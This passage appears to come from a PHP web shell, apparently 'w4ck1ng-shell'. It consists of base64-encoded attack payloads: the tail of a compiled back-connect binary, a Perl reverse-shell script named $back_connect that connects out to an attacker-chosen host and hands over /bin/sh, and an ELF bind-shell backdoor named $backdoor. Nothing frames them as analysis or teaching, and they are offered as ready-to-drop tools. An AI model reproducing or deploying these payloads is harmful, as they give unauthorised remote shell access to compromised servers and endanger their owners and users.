YXRvaQBfSU9fc3RkaW5fdXNlZABkYWVtb24AX19saWJjX3N0YXJ0X21haW4Ac3RybGVuAGNsb3NlAEdMSUJDXzIuMAAAAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAEAAgAAAAAAAQABACQAAAAQAAAAAAAAABBpaQ0AAAIAsgAAAAAAAAAImgQIBhMAABiaBAgHAQAAHJoECAcCAAAgmgQIBwMAACSaBAgHBAAAKJoECAcFAAAsmgQIBwYAADCaBAgHBwAANJoECAcIAAA4mgQIBwkAADyaBAgHCgAAQJoECAcLAABEmgQIBwwAAEiaBAgHDQAATJoECAcOAABQmgQIBw8AAFSaBAgHEQAAVYnlg+wI6EEBAADolAEAAOjnAwAAycMA/zUQmgQI/yUUmgQIAAAAAP8lGJoECGgAAAAA6eD/////JRyaBAhoCAAAAOnQ/////yUgmgQIaBAAAADpwP////8lJJoECGgYAAAA6bD/////JSiaBAhoIAAAAOmg/////yUsmgQIaCgAAADpkP////8lMJoECGgwAAAA6YD/////JTSaBAhoOAAAAOlw/////yU4mgQIaEAAAADpYP////8lPJoECGhIAAAA6VD/////JUCaBAhoUAAAAOlA/////yVEmgQIaFgAAADpMP////8lSJoECGhgAAAA6SD/////JUyaBAhoaAAAAOkQ/////yVQmgQIaHAAAADpAP////8lVJoECGh4AAAA6fD+//8x7V6J4YPk8FBUUmhoiAQIaBSIBAhRVmiAhgQI6E/////0kJBVieVT6AAAAABbgcMHFAAAUouD/P///4XAdAL/0FhbycOQkJBVieWD7AiAPWSaBAgAdA/rH412AIPABKNgmgQI/9KhYJoECIsQhdJ168YFZJoECAHJw4n2VYnlg+wIoTyZBAiFwHQZuAAAAACFwHQQg+wMaDyZBAj/0IPEEI12AMnDkJBVieVXVlOD7EyD5PC4AAAAAIPAD4PAD8HoBMHgBCnEjX2ovvSIBAj8uQcAAADzpI19r/y5DgAAALAA86qD7AhqAGoB6FD+//+DxBBmx0XIAgCD7AyLRQyDwAj/MOi3/v//g8QQD7fAg+wMUOi4/v//g8QQZolFyoPsDItFDIPABP8w6DH+//+DxBCJRcyD7AiLRQyDwASD7AT/MOgI/v//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ZJoECAAAAAAQAPH/cwIAAAyaBAgAAAAAEQAVAIkCAABomgQIAAAAABAA8f+OAgAAAAAAAA4AAAASAAAAnwIAAAAAAAB4AAAAEgAAALICAAAsmQQIAAAAABAC8f/FAgAA8IgECAQAAAARAA4A1AIAAFiaBAgAAAAAEAAWAOECAAAAAAAAOQAAABIAAADzAgAAAAAAAAAAAAAgAAAABwMAACyZBAgAAAAAEALx/x0DAAAAAAAAAAAAACAAAAAAY2FsbF9nbW9uX3N0YXJ0AGNydHN0dWZmLmMAX19DVE9SX0xJU1RfXwBfX0RUT1JfTElTVF9fAF9fSkNSX0xJU1RfXwBwLjAAY29tcGxldGVkLjEAX19kb19nbG9iYWxfZHRvcnNfYXV4AGZyYW1lX2R1bW15AF9fQ1RPUl9FTkRfXwBfX0RUT1JfRU5EX18AX19GUkFNRV9FTkRfXwBfX0pDUl9FTkRfXwBfX2RvX2dsb2JhbF9jdG9yc19hdXgAYmFjay5jAGV4ZWNsQEBHTElCQ18yLjAAX0RZTkFNSUMAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAX19maW5pX2FycmF5X2VuZABfX2Rzb19oYW5kbGUAX19saWJjX2NzdV9maW5pAHN5c3RlbUBAR0xJQkNfMi4wAF9pbml0AGRhZW1vbkBAR0xJQkNfMi4wAF9zdGFydABzdHJsZW5AQEdMSUJDXzIuMABfX2ZpbmlfYXJyYXlfc3RhcnQAX19saWJjX2NzdV9pbml0AGluZXRfYWRkckBAR0xJQkNfMi4wAF9fYnNzX3N0YXJ0AG1haW4AX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfZW5kAGR1cDJAQEdMSUJDXzIuMABzdHJjYXRAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AF9maW5pAF9fcHJlaW5pdF9hcnJheV9lbmQAYnplcm9AQEdMSUJDXzIuMABleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX2VuZABodG9uc0BAR0xJQkNfMi4wAGNvbm5lY3RAQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfc3RhcnQAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19wcmVpbml0X2FycmF5X3N0YXJ0AF9fZ21vbl9zdGFydF9fAA==";
652
653$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiOyc7DQokc3lzdGVtMT0gJ2VjaG8gImBpZGAiOyc7DQokc3lzdGVtMj0gJ2VjaG8gImBwd2RgIjsnOw0KJHN5c3RlbTM9ICdlY2hvICJgd2hvYW1pYEBgaG9zdG5hbWVgOn4gPiI7JzsNCiRzeXN0ZW00PSAnL2Jpbi9zaCc7DQokMD0kY21kOw0KJHRhcmdldD0kQVJHVlswXTsNCiRwb3J0PSRBUkdWWzFdOw0KJGlhZGRyPWluZXRfYXRvbigkdGFyZ2V0KSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQokcGFkZHI9c29ja2FkZHJfaW4oJHBvcnQsICRpYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCnNvY2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCmNvbm5lY3QoU09DS0VULCAkcGFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KcHJpbnQgIlxuXG46OiB3NGNrMW5nLXNoZWxsIChQcml2YXRlIEJ1aWxkIHYwLjMpIHJldmVyc2Ugc2hlbGwgOjpcblxuIjsNCnByaW50ICJcblN5c3RlbSBJbmZvOiAiOyANCnN5c3RlbSgkc3lzdGVtKTsNCnByaW50ICJcbllvdXIgSUQ6ICI7IA0Kc3lzdGVtKCRzeXN0ZW0xKTsNCnByaW50ICJcbkN1cnJlbnQgRGlyZWN0b3J5OiAiOyANCnN5c3RlbSgkc3lzdGVtMik7DQpwcmludCAiXG4iOw0Kc3lzdGVtKCRzeXN0ZW0zKTsgc3lzdGVtKCRzeXN0ZW00KTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
654
655$backdoor="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAA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